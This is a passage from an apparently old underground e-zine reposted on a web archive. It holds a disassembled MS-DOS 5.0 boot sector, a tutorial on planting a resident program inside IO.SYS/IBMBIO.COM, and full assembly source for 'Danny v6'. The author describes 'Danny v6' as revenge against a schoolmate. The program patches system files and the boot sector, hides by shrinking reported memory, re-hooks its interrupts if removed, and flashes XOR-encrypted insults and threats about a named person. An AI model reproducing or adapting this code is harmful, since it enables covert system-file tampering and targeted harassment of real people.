0000:7D7A A34D7C MOV [7C4D],AX ;...and AX = track number
0000:7D7D F8 CLC ;Clear carry flag (no error)
0000:7D7E C3 RET ;Return
returnerror:
0000:7D7F F9 STC ;Set carry flag (error)
returninstruction:
0000:7D80 C3 RET ;Return

ReadData:
0000:7D81 B402 MOV AH,02 ;Set function 2 (read sectors)
0000:7D83 8B164D7C MOV DX,[7C4D] ;Get track #
0000:7D87 B106 MOV CL,06
0000:7D89 D2E6 SHL DH,CL ;Move bits 8-9 to top of word
0000:7D8B 0A364F7C OR DH,[7C4F] ;OR in sector number
;(lower 6 bits); final result
;is that lower 8 bits of track
;number are in DL, and DH
;contains the sector number in
;the lower 6 bits, and bits 8
;and 9 of the track number in
;the two high bits
0000:7D8F 8BCA MOV CX,DX ;Move it to CX
0000:7D91 86E9 XCHG CH,CL ;Swap the bytes for use with
;int 13h
0000:7D93 8A16247C MOV DL,[7C24] ;Get drive number
0000:7D97 8A36257C MOV DH,[7C25] ;Get head number
;Those two instructions could
;have been combined; I don't
;know why they aren't (to take
;up space...?)
0000:7D9B CD13 INT 13 ;Read the data
0000:7D9D C3 RET ;Return; carry flag set by
;int 13h

Jump instruction
0000:7C00 EB 3C 90 .<.

Boot sector data
0000:7C03 4D 53 44 4F 53-35 2E 30 00 02 08 01 00 MSDOS5.0.....
0000:7C10 02 00 02 00 00 F8 CB 00-26 00 10 00 26 00 00 00 ........&...&...
0000:7C20 9A 53 06 00 80 00 29 F7-0D 64 21 4E 4F 20 4E 41 .S....)..d!NO NA
0000:7C30 4D 45 20 20 20 20 46 41-54 31 36 20 20 20 ME FAT16

Real start of boot program
0000:7C3E FA 33 .3
0000:7C40 C0 8E D0 BC 00 7C 16 07-BB 78 00 36 C5 37 1E 56 .....|...x.6.7.V
0000:7C50 16 53 BF 3E 7C B9 0B 00-FC F3 A4 06 1F C6 45 FE .S.>|.........E.
0000:7C60 0F 8B 0E 18 7C 88 4D F9-89 47 02 C7 07 3E 7C FB ....|.M..G...>|.
0000:7C70 CD 13 72 79 33 C0 39 06-13 7C 74 08 8B 0E 13 7C ..ry3.9..|t....|
0000:7C80 89 0E 20 7C A0 10 7C F7-26 16 7C 03 06 1C 7C 13 .. |..|.&.|...|.
0000:7C90 16 1E 7C 03 06 0E 7C 83-D2 00 A3 50 7C 89 16 52 ..|...|....P|..R
0000:7CA0 7C A3 49 7C 89 16 4B 7C-B8 20 00 F7 26 11 7C 8B |.I|..K|. ..&.|.
0000:7CB0 1E 0B 7C 03 C3 48 F7 F3-01 06 49 7C 83 16 4B 7C ..|..H....I|..K|
0000:7CC0 00 BB 00 05 8B 16 52 7C-A1 50 7C E8 92 00 72 1D ......R|.P|...r.
0000:7CD0 B0 01 E8 AC 00 72 16 8B-FB B9 0B 00 BE E6 7D F3 .....r........}.
0000:7CE0 A6 75 0A 8D 7F 20 B9 0B-00 F3 A6 74 18 BE 9E 7D .u... .....t...}
0000:7CF0 E8 5F 00 33 C0 CD 16 5E-1F 8F 04 8F 44 02 CD 19 ._.3...^....D...
0000:7D00 58 58 58 EB E8 8B 47 1A-48 48 8A 1E 0D 7C 32 FF XXX...G.HH...|2.
0000:7D10 F7 E3 03 06 49 7C 13 16-4B 7C BB 00 07 B9 03 00 ....I|..K|......
0000:7D20 50 52 51 E8 3A 00 72 D8-B0 01 E8 54 00 59 5A 58 PRQ.:.r....T.YZX
0000:7D30 72 BB 05 01 00 83 D2 00-03 1E 0B 7C E2 E2 8A 2E r..........|....
0000:7D40 15 7C 8A 16 24 7C 8B 1E-49 7C A1 4B 7C EA 00 00 .|..$|..I|.K|...
0000:7D50 70 00 p.

ShowMessage
0000:7D52 AC 0A C0 74 29 B4-0E BB 07 00 CD 10 EB F2 ...t).........

PhysicalTranslation
0000:7D60 3B 16 18 7C 73 19 F7 36-18 7C FE C2 88 16 4F 7C ;..|s..6.|....O|
0000:7D70 33 D2 F7 36 1A 7C 88 16-25 7C A3 4D 7C F8 C3 F9 3..6.|..%|.M|...
0000:7D80 C3 .

ReadData
0000:7D81 B4 02 8B 16 4D 7C B1-06 D2 E6 0A 36 4F 7C 8B ....M|.....6O|.
0000:7D90 CA 86 E9 8A 16 24 7C 8A-36 25 7C CD 13 C3 .....$|.6%|...

"Non-System..." message
0000:7D9E 0D 0A ..
0000:7DA0 4E 6F 6E 2D 53 79 73 74-65 6D 20 64 69 73 6B 20 Non-System disk
0000:7DB0 6F 72 20 64 69 73 6B 20-65 72 72 6F 72 0D 0A 52 or disk error..R
0000:7DC0 65 70 6C 61 63 65 20 61-6E 64 20 70 72 65 73 73 eplace and press
0000:7DD0 20 61 6E 79 20 6B 65 79-20 77 68 65 6E 20 72 65 any key when re
0000:7DE0 61 64 79 0D 0A 00 ady...

First filename (IO.SYS)
0000:7DE6 49 4F-20 20 20 20 20 20 53 59 IO SY
0000:7DF0 53 S

Second filename (MSDOS.SYS)
0000:7DF1 4D 53 44 4F 53 20 20-20 53 59 53 00 00 MSDOS SYS..

Valid boot record signature
0000:7DFE 55 AA U.

------------------------------------------------------------------------------

Planting a TSR in a system file #009
-------------------------------


> How IO.SYS (or IBMBIO.COM) is loaded <

From what I have seen, IO.SYS is loaded at 0070:0000, and execution begins at
that address. Usually just the first three sectors are loaded, and these
eventually load the rest of IO.SYS. When I booted from diskette, the register
setup on execution I obtained (remember, not necessarily true for everyone)
was as follows.

AX = 0000 BX = 0021 CX = F000 DX = 0000
SI = 7DFC DI = 052B BP = 0000 Flags = 0206
DS = 0000 ES = 0000 SS = 0000 SP = 7BF8
CS = 0070 IP = 0000

Notice that SS:SP = 0000:7BF8. The boot record in article 008 pushed the
original int 1Eh vector and its address in the interrupt table onto the stack,
for a total of 8 bytes. The boot sector sets SS:SP to 0000:7C00, thus the
current SS:SP is obtained by 0000:7C00 - 8 = 0000:7BF8).

> How to plant the TSR <

The method I usually use is based on the fact that IO.SYS contains a blank
area of about 10Bh bytes at offset 0005. The first instruction at offset 0000
is usually a near jmp to offset 0138. The first step is to change the
destination of this jmp to your TSR at 0005. When the TSR has finished
loading, the program should restore the original bytes and JMP back to offset
0000. An alternative I have not yet tried but that might work would be to
simply JMP to offset 0138 when done without restoring the original JMP. What
if the TSR is too big to fit in this area? In article 00A, I modify the boot
sector to load 5 sectors instead of 3, which is enough to cover a second large
block of 00's. This one is 200h bytes and located at offset 06F4. The TSR
would load up one block, and then append the second block.
Another approach I have considered is having the TSR appended to IO.SYS, and
have a loader read this into memory. The drawback is that IO.SYS might be
fragmented, which means that the end of IO.SYS may not be in the expected
sector.

> Going TSR before DOS loads <

Because DOS hasn't loaded yet, there are no MCBs or other type of memory
management (that's DOS's job). However, there is a byte in the BIOS data
segment at 0040:0013 that contains the number of kilobytes in conventional
memory. This can be decremented, so that DOS and BIOS will think that there
is one less kilobyte of memory. The TSR can be loaded into this
"non-existent" piece of memory. The one drawback is that MEM will show this.
I have experimented with adding the additional kilobyte back once DOS has
finished loading, but DOS kept crashing after CONFIG.SYS had been processed.
Maybe the TSR didn't wait long enough before adding the kilobyte back; I plan
on experimenting with this some other time. The technique I used was to wait
for two changes in the int 21h vector. The first change is when it points to
MSDOS.SYS at the top of memory. The second change is when MSDOS.SYS is
relocated lower in memory.
When moving the TSR into the memory block that has been "allocated", remember
that if the loader must store some data in the TSR, it must store the data
before copying it, or it must change the data in the TSR's block if it has
already been copied. Also remember that hooking DOS interrupts this early is
pointless because DOS isn't around (duh). Also, even though a kilobyte is
usually enough, you can allocate more if necessary.

------------------------------------------------------------------------------

Danny v6: An example of a TSR loaded from IBMBIO.COM #00A
----------------------------------------------------


> What it does <

This program was written as a bit of revenge for an acquaintance at school.
It may end up being a precursor for something much more complex, but that
remains to be seen. Anyway, this is version 6 of the program. It will
periodically display a message about Danny using the BIOS teletype
subfunction, 0Eh. It started out as a simple TSR. Version 6 is adapted for
use in IBMBIO.COM (or IO.SYS), rehooks itself to int 1Ch if it has been
unhooked, is more flexible about where it displays the message on screen, and
has a subfunction under int 16h (AX = D00Dh BX = ABCDh, CX = num) that allows
you to specify a delay of 1-65,536 ticks so that the TSR can wait up to an
hour before it displays the first message. Overall, this is the most complex
TSR I've planted in a system file. Because the program is 753 bytes, it must
be distributed over two blank areas in IBMBIO.COM. The boot sector must also
be modified to load five sectors of IO.SYS instead of three so that the second
area is loaded.

> How Danny v6 is "installed" <

The first 10Bh bytes are placed at offset 0005 in IO.SYS. The remaining bytes
(up to 200h) are placed at offset 06F4. This makes the maximum program size
30Bh or 779 bytes. The near JMP at offset 0000 is originally a JMP 0138
(relative offset 0135). This must be replaced with a JMP 0005 (relative
offset 0002). If the loader jumps back to offset 0000 to run the original
IBMBIO.COM, then the original JMP must be restored when the loader is done.

<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->

.286
code segment byte public
assume cs:code, ds:code
org 5 ;This is the offset of the TSR in
;IBMBIO.COM

howmany = 7 ;Number of messages
basesec = 3 * 60 ;Minimum number of seconds for delay
rangesec = 4 * 60 ;Range of seconds in delay
baseticks = basesec * 91 / 5 ;Translate basesec to timer ticks
rangeticks = rangesec * 91 / 5 ;Translate rangsec to timer ticks
rangerow = 25 ;Maximum rows
magicword = 0135h ;Original JMP relative offset
firststart = 5 ;Offset of first block of code
firstamt = 10bh ;Length of first block of code
secondstart = 6f4h ;Offset of second block of code
secondamt = 200h ;Length of second block of code


start:
pusha
push ds
push es ;Save registers
push cs
pop ds
push cs
pop es ;DS= ES = CS
call InitRandomSeedFromTimer2 ;Init random # generator
call GetRandomNumber2 ;Get random num -> BX
mov ax, bx
xor dx, dx
mov bx, rangeticks
div bx ;Get rnd# < rangeticks
add dx, baseticks ;Add baseticks to previous number
mov [timing], dx ;This is the delay before displaying
;a message
cld
xor ax, ax
mov ds, ax
mov si, 1ch * 4
mov di, offset oldint
cli
movsw
movsw ;Save original int 1Ch
mov si, 16h * 4
movsw
movsw ;Save original int 16h
dec word ptr ds:[413h] ;Decrement memory size
mov ax, ds:[413h]
mov dx, 40h
mul dx
mov es, ax ;Get the segment # of what BIOS (and
;DOS) thinks is the end of memory
mov ds:[1ch * 4], offset tsr
mov ds:[1ch * 4 + 2], es ;Hook TSR to int 1Ch
mov ds:[16h * 4], offset insurance
mov ds:[16h * 4 + 2], es ;Hook TSR to int 16h
mov ax, ds:[46ch]
mov cs:[lastcount], ax ;Save timer count
push cs
pop ds
mov si, firststart
mov di, si
mov cx, firstamt
cld
rep movsb ;Copy first code block
mov si, secondstart
mov cx, secondamt
push cx
push si
rep movsb ;Copy second code block
mov al, 0
push cs
pop es
pop di
pop cx
rep stosb ;Zero out second block; unnecessary
sti ;because sector 5 not normally loaded;
;I would remove this in any future
;versions.
mov word ptr cs:[1], magicword ;Restore old jmp
pop es
pop ds
popa
jmp segstart ;JMP to start of IBMBIO.COM


InitRandomSeedFromTimer2 Proc Near ;Init random number generator
push ax
push cx
push dx
xor ah, ah
int 1ah
mov cs:[seedhigh], cx
mov cs:[seedlow], dx
pop dx
pop cx
pop ax
retn
InitRandomSeedFromTimer2 endp


;returns bx
GetRandomNumber2 Proc Near ;Random number generator
push ds ;This is the generator I use whenever
push ax ;I need random numbers
push cx
mov ax, cs
mov ds, ax
mov ax, [seedhigh]
mov bx, [seedlow]
not ax
not bx
ror ax, 2
rol bx, 1

xor ax, [seedlow]
xor bx, [seedhigh]

mov cx, [counter]
ror cx, cl
xor cx, [counter]

adc ax, cx
rol bx, cl
mov [seedhigh], ax
mov [seedlow], bx
inc word ptr [counter]
pop cx
pop ax
pop ds
retn
GetRandomNumber2 endp

seedhigh dw 0 ;This is data for the generator
seedlow dw 0
counter dw 0


thedata:
oldint dw 0, 0 ;Original int 1Ch vector
oldint16 dw 0, 0 ;Original int 16h vector
timing dw 0 ;Delay before displaying a message
alive db 0 ;This flag is set every time int 1Ch
;is executed, to show that it the
;handler has not been disconnected
lastcount dw 0 ;Last timer tick count for insurance

;***** The messages *****
msg01 db ' Danny is not lazy '
msg02 db ' Danny is a wuss '
msg03 db ' Watch your back Danny because Jessica is plotting your demise '
msg04 db ' Danny is a loser '
msg05 db ' Danny hides behind bureaucracies '
msg06 db ' Danny aspires to be a cog in a wheel '
msg07 db ' Danny will meet his doom at the hands of a skinny brunette '
db 'chick '
lastone:

;***** This is a table of offsets of the messages *****
ostable dw offset msg01, offset msg02, offset msg03, offset msg04
dw offset msg05, offset msg06, offset msg07

;***** This is a table of lengths of the messages *****
ltable db offset msg02 - offset msg01, offset msg03 - offset msg02
db offset msg04 - offset msg03, offset msg05 - offset msg04
db offset msg06 - offset msg05, offset msg07 - offset msg06
db offset lastone - offset msg07

ss_continuechain:
jmp continuechain ;JNZ below can't reach continuechain

tsr:
mov byte ptr cs:[alive], 1 ;Signal int 1Ch has been executed
dec word ptr cs:[timing] ;Decrement delay count
jnz ss_continuechain ;If not 0, continue int 1Ch chain
pusha
push ds ;Save registers
mov ah, 3
mov bh, 0 ;Assumes page #0
int 10h ;Get cursor position
push dx ;Save it (could be improved to detect
;the current page number)
call GetRandomNumber2
mov ax, bx
xor dx, dx
mov bx, howmany
div bx ;Pick a message
mov bx, dx
push bx ;Save it
push cs
pop ds ;DS = CS
mov ch, [bx + offset ltable]
call GetRandomNumber2
mov ax, bx
xor dx, dx
mov bx, rangerow
div bx ;Get a row < rangerow
mov cl, dl
call GetRandomNumber2
mov ax, bx
xor dx, dx
mov bx, 80
sub bl, ch
div bx ;Get a column < (80 - message length)
mov dh, cl
mov ah, 2
mov bh, 0
int 10h ;Set cursor position
pop bx ;Restore message # -> BX
shl bx, 1
add bx, offset ostable
mov si, [bx] ;Get message offset
cld
mov ah, 0eh ;BIOS teletype subfunction
call GetRandomNumber2
and bx, 0fh ;Random color # (0 - 15)
mov cl, 6ah ;Original decryption byte
looper:
lodsb ;Get a character from the message
xor al, cl ;Decrypt byte
int 10h ;Display byte
add cl, 0cbh ;Update decryptor
dec ch
jnz looper ;Loop for next character
mov ah, 2
mov bh, 0
pop dx ;Restore old cursor position
int 10h ;Do it
call GetRandomNumber2
mov ax, bx
xor dx, dx
mov bx, rangeticks
div bx ;Get rnd# < rangeticks
add dx, baseticks ;Add baseticks
mov cs:[timing], dx ;Save delay amount in ticks
pop ds
popa ;Restore registers
continuechain:
jmp dword ptr cs:[oldint] ;Continue int 1Ch chain

insurance:
pushf
cli
push ds
push ax ;Save registers
cmp ax, 0d00dh
jne checkcount ;Check for timer set function
cmp bx, 0abcdh
jne checkcount ;Check for timer set function
mov cs:[timing], cx ;Set timer delay
jmp short exitinsurance

checkcount:
xor ax, ax
mov ds, ax
mov ax, ds:[46ch] ;Get timer tick count
sub ax, cs:[lastcount] ;Get difference between last insurance
;check and current count
add ax, 18
cmp ax, 18 * 2
jbe exitinsurance ;If difference <= 18, exit insurance
checkalive:
mov ax, ds:[46ch] ;Get timer count...
mov cs:[lastcount], ax ;...and save it for next time
cmp byte ptr cs:[alive], 1 ;Check if int 1Ch hook alive
mov byte ptr cs:[alive], 0 ;Reset alive flag
je exitinsurance ;If alive, then exit insurance
mov ax, offset tsr
xchg ax, ds:[1ch * 4]
mov cs:[oldint], ax ;Save old int 1Ch vector and hook it
mov ax, cs ;because TSR's int 1Ch hook is
xchg ax, ds:[1ch * 4 + 2] ;inactive
mov cs:[offset oldint + 2], ax
exitinsurance:
sti
pop ax
pop ds
popf ;Restore registers
jmp dword ptr cs:[oldint16] ;Continue int 16h chain


theend:

org 0 ;Not actual code; just used to encode
segstart: ;jump to start of IBMBIO.COM

code ends

end start

<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->

------------------------------------------------------------------------------

next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT